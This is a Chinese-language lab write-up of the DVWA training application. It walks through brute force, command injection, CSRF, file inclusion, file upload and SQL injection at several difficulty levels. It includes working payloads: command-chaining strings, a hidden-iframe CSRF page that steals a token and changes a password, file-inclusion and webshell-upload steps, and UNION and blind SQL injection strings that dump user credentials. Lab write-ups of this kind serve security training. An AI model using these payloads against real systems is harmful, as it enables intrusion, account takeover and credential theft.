引言
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
BRUTE FORCE
本模块测试皆基于用户名已知的情况 * low
源码分析
[![DwEel6.jpg](https://s3.ax1x.com/2020/11/26/DwEel6.jpg)](https://imgchr.com/i/DwEel6)
对用户名密码没有任何过滤限制,直接使用burpsuite sniper模式进行单参数爆破
[![DwAjWq.jpg](https://s3.ax1x.com/2020/11/26/DwAjWq.jpg)](https://imgchr.com/i/DwAjWq)
-
medium
源码分析
相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,基本上能够抵御sql注入攻击,说基本上是因为查到说 MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对单引号的转义(因实验环境的MySQL版本较新,所以并未做相应验证);同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制。
唯一比较难顶的就是sleep(2)函数,每次错误输入页面要顿两秒,所以说只要有耐心,对当前页面进行爆破个一百年密码也就有了。
-
high
源码分析
相比medium级别多了token值验证,每次服务器都会传回一个随机的token值来验证用户身份,也就是说每次输入都要求传回正确的token值。
抓包,发到intruder模块设置密码和token值两处爆破点
设置模式为pitchfork,一对一多次爆破,一个密码对应一个token值
设置线程一定为1,要等一次传输,一次返回,token值才能正确
获取token值
在token参数处设置第一次值为页面最初传回的token值(抓包抓到的)
然后开始爆破就可以了
-
impossible
Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续。
同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。
Command Injection
-
引子
管道符 &&:代表首先执行命令a在执行命令b,但是前提条件是命令a执行正确才会执行命令b,在a执行失败的情况下不会执行b命令。所以又被称为短路运算符。 &:代表首先执行命令a在执行命令b,如果a执行失败,还是会继续执行命令b。也就是说命令b的执行不会受到命令a的干扰,在执行效率上来说“&&”更加高效。 ||:代表首先执行a命令在执行b命令,如果a命令执行成功,就不会执行b命令,相反,如果a命令执行不成功,就会执行b命令。 |:代表首先执行a命令,在执行b命令,不管a命令成功与否,都会去执行b命令。
-
low
源码分析
没有对管道符进行过滤
直接拼接其他命令进行执行
127.0.0.1&&dir
-
medium
源码分析
可以看到页面把&& 还有; 过滤掉了,但是问题不大
aksjdh & dir
不管前命令成功与否都会执行之后的命令
或者
asda | dir
-
high
觉得这实在不算是什么防护措施,完全是疏漏导致的漏洞,在过滤 时多加了一个空格,致使直接用 不加空格也可以执行命令…
CSRF
-
引子
跨站请求伪造 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
-
low
$GLOBALS :引用全局作用域中可用的全部变量。$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。
看看页面源码,
从源代码可以看出这里只是对用户输入的两个密码进行判断,看是否相等。不相等就提示密码不匹配。 相等的话,查看有没有设置数据库连接的全局变量和其是否为一个对象。如果是的话,用mysqli_real_escape_string()函数去转义一些字符,如果不是的话输出错误。 是同一个对象的话,再用md5进行加密,再更新数据库。
-
medium
发现其源码会检查http头中的referer字段,查看其是否包含有服务器主机名,以此检验该请求不是跨站,由于dvwa时部署在本地主机上的,那么主机名就是localhost或者127.0.0.1,我们可以上传一个名为二者之一的文件,将文件伪造成想要的页面,当受害者点击该页面可以运行其中的脚本,并显示攻击者想要的页面,展现攻击效果
-
high
源码分析,这次加入了token值验证机制,如果网站存在xss漏洞,可以结合xss来获取token值进行攻击。 下面是获取token值代码 <script type="text/javascript"> function attack() { document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value; document.getElementById("transfer").submit(); } </script> <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"> </iframe> <body onload="attack()"> <form method="GET" id="transfer" action="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="user_token" value=""> <input type="hidden" name="Change" value="Change"> </form> </body>
File Inclusion
常用的文件包含函数
1.include()
2.include_once()
3.require()
4.require_once()
5.file_open()
-
low
先看一下源码
页面中要求传入一个page参数,发现点击哪个文档page就调用哪个文档,那么我们可以向服务器上传一个shell的文件,并调用它
这里利用文件上传漏洞结合讲解
先利用文件上传传一个显示php信息的jpg格式文件 <?php phpinfo(); ?> 改变url为: http://localhost/vulnerabilities/fi/?page=../../hackable/uploads/shell.jpg 由于服务器搭在本地也好知道文件绝对路径,所以好引用 发现调用成功,原因在于页面对page没有任何过滤,那么同理就可以把其他jpg文件解析为php文件,可以上传有getshell代码的文件,然后引用成功。
-
medium
同理像low一样对其进行引用
但是发现页面中显示了错误信息,显然路径中的../被删除了,试试绝对路径 http://localhost/vulnerabilities/fi/?page=http://localhost/hackable/uploads/shell.jpg 发现http://被删掉了,试了试双写,没有用,试了试大小写混写,发现可以 源码分析
发现就是删除http://,https://还有../和..\。 绕过方式应该是双写或者大小写,但是这里双写出问题了 [![DjAo1P.jpg](https://s3.ax1x.com/2020/12/06/DjAo1P.jpg)](https://imgchr.com/i/DjAo1P)
-
high
直接同上的话会出错误页面,但是不给错误信息
猜老半天 没有任何错误信息,还是先看一下源码吧
用到了一个fnmatch函数
fnmatch ( string $pattern , string $string [, int $flags = 0 ] ) : bool fnmatch() 检查传入的 string 是否匹配给出的 shell 统配符 pattern。
也就是说要检查文件名是否以file开头或者名为include.php,那么我们可以用php中file伪协议来包含本地文件绕过, http://localhost/vulnerabilities/fi/?page=file://D:\Tools\Labtool\PHPstudy\phpstudy_pro\WWW\hackable\uploads\shell.jpg 成功
File Upload
-
low
直接上传shell.php,直接成功 源码分析
没过滤,都没有前端验证,上传到指定位置,菜刀连接
-
medium
源码分析
这次加了前端验证后缀验证,利用bp抓包改包就可以了, 上传正确后缀的getshell文件,bp改后缀为php,即可上传成功
访问一下
同理传小马,菜刀连接一下
-
high
源码分析 [![Dj0C7D.jpg](https://s3.ax1x.com/2020/12/06/Dj0C7D.jpg)](https://imgchr.com/i/Dj0C7D)
strrpos(string,find,start)函数返回字符串find在另一字符串string中最后一次出现的位置,如果没有找到字符串则返回false,可选参数start规定在何处开始搜索。 getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。 采用00截断,php版本小于5.3.4 所以可以采用图片马,菜刀连接
SQL Injection
-
high
先猜解是什么类型的注入,单引号加永真式方法 payload: -1' or '1'=1'
可以正常显示,表示为字符型 判断显示位 payload: -1' order by 2 #正常显示 -1' order by 3 #显示错误 所以显示位为两位 进行爆库: -1' union select 1,database() #
爆表: -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
爆字段: -1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
获取列表: -1' union select 1,group_concat(0x7c,user,0x7e,password,0x7c) from users # 或者-1' union select user,password from users #
获取到的密码是经过MD5加密的
源码分析:
发现没有任何过滤,完全信任用户输入的内容,限制显示条数…没什么用
做完了才发现原来这是high级别的…
-
medium
发现这次查询改用了下拉菜单选项
不能直接进行输入了,只能使用已经给出的数值 但是可以抓包来看一下传输的数据
看到页面是通过传输id这个参数来控制查询的,就可以以这个id为注入点进行注入,用bp转发器模块(repeater),修改参数 1.先单引号测试类型,但是单引号被转义了
2.构造永真,得出为数字型 id=1 or 1=1
3.爆库 0 union select 1,database() #
4.爆表 单引号被转义,采用十六进制绕过(存疑) id=0 union select 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #
5.终了 0 union select user,password from users #
源码分析:
id传参,mysqli_real_escape_string()函数
编码的字符是 NUL(ASCII 0)、\n、\r、\、’、” 和 Control-Z。
数字型查询语句
-
low
由难到易,按照之前的思路来做, 1.测试类型 2.order by查显示位 3.爆库报表爆字段 4.select 所有
SQL Injection(Blind)
-
low
markdown中表格语法,冒号代表对齐方式
盲注只有对与错两个结果,所以进行测试 *** |猜解次数|payload|结果| |:-----:|:-----:|:----:| |1|1' #|exists| |2|-1' or '1'='1|exists| |结果|字符型|√|
猜解次数 payload 结果 1 1’ and length(database())>10 # missing 2 1’ and length(database())>5 # missing 3 1’ and lengtj(database())>3 # exists 结果 数据库名长度为4 √ 猜表名
猜解次数 payload 结果 1 1’ and left(database(),1)>’a’ # exists 2 1’ and left(database(),1)>’f’ # missing … n 1’ and left(database(),2)>’da’ # exists … N 1’ and database()=’dvwa’ # exists 结果 dvwa √ 猜表个数
猜解次数 payload 结果 1 1’ and (select count(table_name) from information_schema.tables where table_schema=database())>10 # missing 2 1’ and (select count(table_name) from information_schema.tables where table_schema=database())>5 # missing 3 1’ and (select count(table_name) from information_schema.tables where table_schema=database())>2 # missing 4 1’ and (select count(table_name) from information_schema.tables where table_schema=database())>1 # exists 5 1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 # exists 结果 2 √
猜表长
猜解次数 payload 结果 n 1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9 # exists 2n 1’ and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5 # exists 结果 长度分别为9和5 √
猜表名
猜解次数 payload 结果 1 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 # exists 2 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 # exists 3 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110 # missing …. n 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # exists N 1’ and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),9)=’guestbook’ # exists 2N 1’ and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),5)=’users’ # exists 结果 guestbook,users √
猜解字段数
猜解次数 payload 结果 1 1’ and (select count(column_name) from information_schema.columns where table_name=’users’)>3 # exists 2 1’ and (select count(column_name) from information_schema.columns where table_name=’users’)>9 # missing 3 1’ and (select count(column_name) from information_schema.columns where table_name=’users’)>5 # exists 4 1’ and (select count(column_name) from information_schema.columns where table_name=’users’)>7 # exists 5 1’ and (select count(column_name) from information_schema.columns where table_name=’users’)=8 # exists 结果 8个字段 √
猜解名
省略 用户名密码都要自己手动猜解出来,还是MD5加密的密码,就不再复述,太多了
- 源码分析
get,直接引用
-
medium
这个盲注的medium和非盲注的medium简直一模一样,唯一不同的就是这题得猜,得经过一个漫长的过程,基本思路就和low一样,需要通过bp抓包改包,注意mysqli_real_escape_string()函数
-
high
系统加了随机的sleep()函数,注错会等待,如果使用基于时间的盲注容易产生干扰,所以考虑布尔盲注,一样的思路,不再赘述。
#